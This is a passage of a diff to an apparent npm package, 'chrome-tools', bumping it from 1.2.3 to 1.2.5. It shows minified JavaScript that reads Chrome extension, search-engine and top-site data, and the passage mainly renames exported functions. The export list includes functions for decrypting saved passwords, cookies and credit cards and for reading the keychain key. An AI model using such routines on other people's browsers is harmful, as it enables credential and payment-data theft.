g=u.manifest||{},m={profile:a.name,id:l,name:g.name||u.name||l,version:g.version||u.version||"unknown",description:g.description||"",enabled:u.state===1,homepageUrl:g.homepage_url||"",updateUrl:g.update_url||"",installTime:u.install_time||"",fromWebstore:u.from_webstore||!1,location:u.location||0};if(m.name.startsWith("__MSG_")&&(m.name=l),m.description.startsWith("__MSG_")&&(m.description=""),o){let p=o.toLowerCase();if(!(m.name&&m.name.toLowerCase().includes(p))&&!(m.id&&m.id.toLowerCase().includes(p)))continue}c.push(m)}}return c}import{join as _o}from"node:path";function vo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}={}){let i=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),s=[];for(let c of i){let a=_o(c.path,"Web Data");try{let f=v(a,`SELECT id, short_name, keyword, url, suggestions_url,
40
40
  favicon_url, prepopulate_id, is_active
41
41
  FROM keywords ORDER BY short_name`);for(let l of f)s.push({profile:c.name,id:l.id,name:l.short_name||"",keyword:l.keyword||"",url:l.url||"",suggestionsUrl:l.suggestions_url||"",faviconUrl:l.favicon_url||"",isDefault:l.prepopulate_id===1,isActive:l.is_active===1})}catch(f){S(n,c.name,"Web Data",f)}}return s}import{join as xo}from"node:path";function bo({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}={}){let i=w({chromeDir:e,profilePath:t,profile:r,browser:o,onDiagnostic:n}),s=[];for(let c of i){let a=xo(c.path,"Top Sites");try{let f=v(a,`SELECT url, url_rank, title, redirects
42
- FROM top_sites ORDER BY url_rank ASC`);for(let l of f)s.push({profile:c.name,url:l.url||"",title:l.title||"",rank:l.url_rank??0,redirects:l.redirects||""})}catch(f){S(n,c.name,"Top Sites",f)}}return s}export{Z as BROWSERS,B as chromeTimeToDate,st as clearKeyCache,we as clearKeychainCache,it as decryptValue,qe as decryptValueBuffer,nt as deriveEncryptionKey,Tt as describePasswordStores,lt as detectInstalledBrowsers,V as discoverProfiles,_ as getActiveBrowser,po as getAddresses,lo as getAutofillEntries,Ft as getBookmarks,Lr as getChromeKeychainPassword,zt as getCookies,uo as getCreditCards,U as getDefaultChromeDir,ho as getDownloads,Bo as getExtensions,Ut as getHistory,Se as getKeychainPassword,he as getKeychainPasswordProvider,ao as getLocalStorage,It as getPasswords,Re as getPlatformChromeDir,Je as getProfileMetadata,ut as getProfileStates,vo as getSearchEngines,Mt as getSearchTerms,bo as getTopSites,W as listBrowsers,v as queryDatabase,N as requireBrowser,Ee as resolveBrowser,pt as resolveProfilePath,w as resolveTargetProfiles,F as selectPlatform,Ue as setActiveBrowser,Ar as setKeychainPasswordProvider,Pt as tableExists};
42
+ FROM top_sites ORDER BY url_rank ASC`);for(let l of f)s.push({profile:c.name,url:l.url||"",title:l.title||"",rank:l.url_rank??0,redirects:l.redirects||""})}catch(f){S(n,c.name,"Top Sites",f)}}return s}export{Z as BROWSERS,B as chromeTimeToDate,st as clearKeyCache,we as clearKeychainCache,it as decryptValue,qe as decryptValueBuffer,nt as deriveEncryptionKey,Tt as describePasswordStores,lt as detectInstalledBrowsers,V as discoverProfiles,_ as getActiveBrowser,po as getAddresses,lo as getAutofillEntries,Ft as getBookmarks,Lr as getChromeKeychainPassword,zt as getCookies,uo as getCreditCards,M as getDefaultChromeDir,ho as getDownloads,Bo as getExtensions,Mt as getHistory,Se as getKeychainPassword,he as getKeychainPasswordProvider,ao as getLocalStorage,It as getPasswords,Re as getPlatformChromeDir,Je as getProfileMetadata,ut as getProfileStates,vo as getSearchEngines,Ut as getSearchTerms,bo as getTopSites,W as listBrowsers,v as queryDatabase,N as requireBrowser,Ee as resolveBrowser,pt as resolveProfilePath,w as resolveTargetProfiles,F as selectPlatform,Me as setActiveBrowser,Ar as setKeychainPasswordProvider,Pt as tableExists};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "chrome-tools",
3
- "version": "1.2.3",
3
+ "version": "1.2.5",
4
4
  "description": "CLI & Node.js library for chrome",
5
5
  "type": "module",
6
6
  "main": "./dist/index.js",